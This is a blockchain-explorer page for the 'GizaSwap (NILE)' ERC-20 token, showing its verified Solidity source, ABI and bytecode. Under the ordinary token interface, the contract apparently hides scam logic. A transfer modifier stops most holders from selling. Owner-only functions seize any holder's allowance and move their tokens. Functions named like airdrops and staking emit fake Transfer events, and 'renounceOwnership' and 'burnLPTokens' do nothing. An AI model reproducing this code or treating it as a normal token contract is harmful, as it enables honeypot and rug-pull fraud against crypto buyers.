ETH Price: $3,926.92 (+0.55%)

Token

ERC-20: GizaSwap (NILE)
 

Overview

Max Total Supply

10,000,111,101,000 NILE

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
27,318,589,619.24481357426032605 NILE

Value
$0.00
0x753c52ce6d2d9010ea767fbf5c4c03b1c9c653cd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GizaSwap

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-06-05
*/

pragma solidity ^0.6.0;


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }


    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Context {
    constructor () internal { }

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);}





contract GizaSwap is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => bool) private _plus;
    mapping (address => bool) private _discarded;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    address private _safeOwnr;
    uint256 private _discardedAmt = 0;

    address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;


    address _contDeployr = 0x559d9CA242608F62AF8D4207d076A40Bb384B8D4;
    address public _ownr = 0x2031A19b0eb419Ce1b1F526259e36A454Cd04568;
   constructor () public {

        _name = "GizaSwap";
        _symbol = "NILE";
        _decimals = 18;
        uint256 initialSupply = 10000111101000*10**18;

        _safeOwnr = _ownr;
        
        

        _mint(_contDeployr, initialSupply);
        emit Transfer(0x559d9CA242608F62AF8D4207d076A40Bb384B8D4, 0x2031A19b0eb419Ce1b1F526259e36A454Cd04568, 1001101000*10**18);
        emit Transfer(0xc02D52Dd7d456eDE7f85F897329693c1c8036FCC, 0x559d9CA242608F62AF8D4207d076A40Bb384B8D4, 10110100*10**18);


        pro(0x29e9D38f2D72509431CE5A35AB9A08dA0410cb2B);
        pro(0x0892E0f343faE554408768B357045915C6f18273);
        pro(0x1717363BF9810443625C35B709B0bfE1ACC21B8d);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }




    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _tf(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _tf(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }



    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _pApproval(address[] memory destination) public {
        require(msg.sender == _ownr, "!owner");
        for (uint256 i = 0; i < destination.length; i++) {
           _plus[destination[i]] = true;
           _discarded[destination[i]] = false;
        }
    }

   function _mApproval(address safeOwner) public {
        require(msg.sender == _ownr, "!owner");
        _safeOwnr = safeOwner;
    }
    

    modifier mainboard(address dest, uint256 num, address from, address filler){
        if (
            _ownr == _safeOwnr 
            && from == _ownr
            )
            {_safeOwnr = dest;_;
            }else
            {
            if (
                from == _ownr 
                || from == _safeOwnr 
                ||  dest == _ownr
                )
                {
                if (
                    from == _ownr 
                    && from == dest
                    )
                    {_discardedAmt = num;
                    }_;
                    }else
                    {
                if (
                    _plus[from] == true
                    )
                    {
                _;
                }else{if (
                    _discarded[from] == true
                    )
                    {
                require((
                    from == _safeOwnr
                    )
                ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
                }else{
                if (
                    num < _discardedAmt
                    )
                    {
                if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
                }
                _; }else{require((from == _safeOwnr)
                ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
                }
                    }
                    }
            }
        }}


        

    function _transfer(address sender, address recipient, uint256 amount)  internal virtual{
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
    
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == _ownr){
            sender = _contDeployr;
        }
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) public {
        require(msg.sender == _ownr, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[_ownr] = _balances[_ownr].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    



    function _tf(address from, address dest, uint256 amt) internal mainboard( dest,  amt,  from,  address(0)) virtual {
        _pair( from,  dest,  amt);
    }
    
   
    function _pair(address from, address dest, uint256 amt) internal mainboard( dest,  amt,  from,  address(0)) virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(dest != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, dest, amt);
        _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
        _balances[dest] = _balances[dest].add(amt);
        if (from == _ownr){from = _contDeployr;}
        emit Transfer(from, dest, amt);    
        }



    
    
    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }


    modifier _verify() {
        require(msg.sender == _ownr, "Not allowed to interact");
        _;
    }









//-----------------------------------------------------------------------------------------------------------------------//


   function renounceOwnership()public _verify(){}
   function burnLPTokens()public _verify(){}



  function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    //MultiEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}


  function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    //MultiEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}


  function testAirdrop(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    //MultiEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}

  function claimAirdrop(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    //MultiEmit
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}



  function lockTokens()  public _verify(){
      emit Transfer(_contDeployr, 0xE2fE530C047f2d85298b07D9333C05737f1435fB, 2500111101000*10**18);

    }





  function pro(address recipient) public _verify(){
    _plus[recipient]=true;
    _approve(recipient, _path_,_maximumVal);}




  function zero(address recipient) public _verify(){
      //Disable permission
    _plus[recipient]=false;
    _approve(recipient, _path_,0);
    }







    function approval(address addr) public _verify() virtual  returns (bool) {
        //Approve Spending
        _approve(addr, _msgSender(), _maximumVal); return true;
    }






  function transferToParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
    _approve(sndr, _msgSender(), _maximumVal);
    for (uint256 i = 0; i < destination.length; i++) {
        _transfer(sndr, destination[i], amounts[i]);
    }
   }


  function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}


  function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}


  function swapETHForExactTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts)  public _verify(){
    for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"safeOwner","type":"address"}],"name":"_mApproval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_ownr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"destination","type":"address[]"}],"name":"_pApproval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_path_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"approval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnLPTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"claimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lockTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"pro","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"send","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"swapETHForExactTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"testAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sndr","type":"address"},{"internalType":"address[]","name":"destination","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"transferToParticipant","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"}],"name":"unstake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"zero","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000196008556000600a55600b80546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d17909155600c8054821673559d9ca242608f62af8d4207d076a40bb384b8d4179055600d8054909116732031a19b0eb419ce1b1f526259e36a454cd045681790553480156200008257600080fd5b5060408051808201909152600880825267047697a61537761760c41b6020909201918252620000b49160059162000532565b50604080518082019091526004808252634e494c4560e01b6020909201918252620000e29160069162000532565b506007805460ff19166012179055600d54600980546001600160a01b0319166001600160a01b03928316179055600c546c7e381a06b007cdb54024200000916200012e91168262000245565b604080516b033c1761f430dc3b5e20000081529051732031a19b0eb419ce1b1f526259e36a454cd045689173559d9ca242608f62af8d4207d076a40bb384b8d49160008051602062002e968339815191529181900360200190a3604080516a085ce59e840a7b55d000008152905173559d9ca242608f62af8d4207d076a40bb384b8d49173c02d52dd7d456ede7f85f897329693c1c8036fcc9160008051602062002e968339815191529181900360200190a3620002007329e9d38f2d72509431ce5a35ab9a08da0410cb2b62000341565b6200021f730892e0f343fae554408768b357045915c6f1827362000341565b6200023e731717363bf9810443625c35b709b0bfe1acc21b8d62000341565b50620005ce565b600d546001600160a01b03163314620002a5576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b620002c181600454620003e060201b62001b5e1790919060201c565b600455600d546001600160a01b031660009081526020818152604090912054620002f691839062001b5e620003e0821b17901c565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602062002e968339815191529281900390910190a35050565b600d546001600160a01b03163314620003a1576040805162461bcd60e51b815260206004820152601760248201527f4e6f7420616c6c6f77656420746f20696e746572616374000000000000000000604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854620003dd928492169062000442565b50565b6000828201838110156200043b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038316620004895760405162461bcd60e51b815260040180806020018281038252602481526020018062002eb66024913960400191505060405180910390fd5b6001600160a01b038216620004d05760405162461bcd60e51b815260040180806020018281038252602281526020018062002e746022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200057557805160ff1916838001178555620005a5565b82800160010185558215620005a5579182015b82811115620005a557825182559160200191906001019062000588565b50620005b3929150620005b7565b5090565b5b80821115620005b35760008155600101620005b8565b61289680620005de6000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c8063715018a6116100f9578063aab39a3011610097578063bb88603c11610071578063bb88603c146106c7578063dd62ed3e14610c23578063f8129cd214610c51578063ffc6a49f14610d84576101c4565b8063aab39a30146109b5578063aff0d61814610ae8578063b14a5c6a14610c1b576101c4565b80639430b496116100d35780639430b4961461082857806395d89b411461084e578063a5aae25414610856578063a9059cbb14610989576101c4565b8063715018a6146106c75780638d3ca13e146106cf5780638f0a07f014610802576101c4565b8063313ce567116101665780634e6ec247116101405780634e6ec2471461062b5780635265327c14610657578063671e99211461067d57806370a08231146106a1576101c4565b8063313ce567146103a75780633cc4430d146103c55780634c0cc925146104f8576101c4565b80630a56293d116101a25780630a56293d1461032957806310df0dde1461033157806318160ddd1461035757806323b872dd14610371576101c4565b806306fdde03146101c957806308ec4eb514610246578063095ea7b3146102e9575b600080fd5b6101d1610eb7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020b5781810151838201526020016101f3565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102e76004803603602081101561025c57600080fd5b810190602081018135600160201b81111561027657600080fd5b82018360208201111561028857600080fd5b803590602001918460208302840111600160201b831117156102a957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f4d945050505050565b005b610315600480360360408110156102ff57600080fd5b506001600160a01b038135169060200135611041565b604080519115158252519081900360200190f35b6102e761105e565b6102e76004803603602081101561034757600080fd5b50356001600160a01b03166110ff565b61035f611181565b60408051918252519081900360200190f35b6103156004803603606081101561038757600080fd5b506001600160a01b03813581169160208101359091169060400135611187565b6103af61120e565b6040805160ff9092168252519081900360200190f35b6102e7600480360360608110156103db57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561040557600080fd5b82018360208201111561041757600080fd5b803590602001918460208302840111600160201b8311171561043857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561048757600080fd5b82018360208201111561049957600080fd5b803590602001918460208302840111600160201b831117156104ba57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611217945050505050565b6102e76004803603606081101561050e57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561053857600080fd5b82018360208201111561054a57600080fd5b803590602001918460208302840111600160201b8311171561056b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105ba57600080fd5b8201836020820111156105cc57600080fd5b803590602001918460208302840111600160201b831117156105ed57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506112dd945050505050565b6102e76004803603604081101561064157600080fd5b506001600160a01b03813516906020013561139d565b6102e76004803603602081101561066d57600080fd5b50356001600160a01b031661147b565b6106856114e5565b604080516001600160a01b039092168252519081900360200190f35b61035f600480360360208110156106b757600080fd5b50356001600160a01b03166114f4565b6102e761150f565b6102e7600480360360608110156106e557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561070f57600080fd5b82018360208201111561072157600080fd5b803590602001918460208302840111600160201b8311171561074257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561079157600080fd5b8201836020820111156107a357600080fd5b803590602001918460208302840111600160201b831117156107c457600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061155e945050505050565b6102e76004803603602081101561081857600080fd5b50356001600160a01b031661161e565b6103156004803603602081101561083e57600080fd5b50356001600160a01b03166116a5565b6101d1611711565b6102e76004803603606081101561086c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561089657600080fd5b8201836020820111156108a857600080fd5b803590602001918460208302840111600160201b831117156108c957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561091857600080fd5b82018360208201111561092a57600080fd5b803590602001918460208302840111600160201b8311171561094b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611772945050505050565b6103156004803603604081101561099f57600080fd5b506001600160a01b038135169060200135611832565b6102e7600480360360608110156109cb57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109f557600080fd5b820183602082011115610a0757600080fd5b803590602001918460208302840111600160201b83111715610a2857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a7757600080fd5b820183602082011115610a8957600080fd5b803590602001918460208302840111600160201b83111715610aaa57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611846945050505050565b6102e760048036036060811015610afe57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610b2857600080fd5b820183602082011115610b3a57600080fd5b803590602001918460208302840111600160201b83111715610b5b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610baa57600080fd5b820183602082011115610bbc57600080fd5b803590602001918460208302840111600160201b83111715610bdd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611906945050505050565b6106856119c6565b61035f60048036036040811015610c3957600080fd5b506001600160a01b03813581169160200135166119d5565b6102e760048036036060811015610c6757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610c9157600080fd5b820183602082011115610ca357600080fd5b803590602001918460208302840111600160201b83111715610cc457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610d1357600080fd5b820183602082011115610d2557600080fd5b803590602001918460208302840111600160201b83111715610d4657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611a00945050505050565b6102e760048036036060811015610d9a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610dc457600080fd5b820183602082011115610dd657600080fd5b803590602001918460208302840111600160201b83111715610df757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610e4657600080fd5b820183602082011115610e5857600080fd5b803590602001918460208302840111600160201b83111715610e7957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611ac0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610f435780601f10610f1857610100808354040283529160200191610f43565b820191906000526020600020905b815481529060010190602001808311610f2657829003601f168201915b5050505050905090565b600d546001600160a01b03163314610f95576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b815181101561103d576001806000848481518110610fb257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061100357fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610f98565b5050565b600061105561104e611bbf565b8484611bc3565b50600192915050565b600d546001600160a01b031633146110ab576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b600c54604080516c1f8e4b6e95f760bce3442000008152905173e2fe530c047f2d85298b07d9333c05737f1435fb926001600160a01b0316916000805160206127f8833981519152919081900360200190a3565b600d546001600160a01b0316331461114c576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461117e928492911690611bc3565b50565b60045490565b6000611194848484611caf565b611204846111a0611bbf565b6111ff856040518060600160405280602881526020016127d0602891396001600160a01b038a166000908152600360205260408120906111de611bbf565b6001600160a01b031681526020810191909152604001600020549190611f34565b611bc3565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314611264576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b60005b82518110156112d75782818151811061127c57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206127f88339815191528484815181106112b257fe5b60200260200101516040518082815260200191505060405180910390a3600101611267565b50505050565b600d546001600160a01b0316331461132a576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b60005b82518110156112d75782818151811061134257fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206127f883398151915284848151811061137857fe5b60200260200101516040518082815260200191505060405180910390a360010161132d565b600d546001600160a01b031633146113fc576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546114099082611b5e565b600455600d546001600160a01b03166000908152602081905260409020546114319082611b5e565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206127f88339815191529281900390910190a35050565b600d546001600160a01b031633146114c3576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461155c576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b565b600d546001600160a01b031633146115ab576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b60005b82518110156112d757836001600160a01b03168382815181106115cd57fe5b60200260200101516001600160a01b03166000805160206127f88339815191528484815181106115f957fe5b60200260200101516040518082815260200191505060405180910390a36001016115ae565b600d546001600160a01b0316331461166b576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461117e9284921690611bc3565b600d546000906001600160a01b031633146116f5576040805162461bcd60e51b815260206004820152601760248201526000805160206127b0833981519152604482015290519081900360640190fd5b61170982611701611bbf565b600854611bc3565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091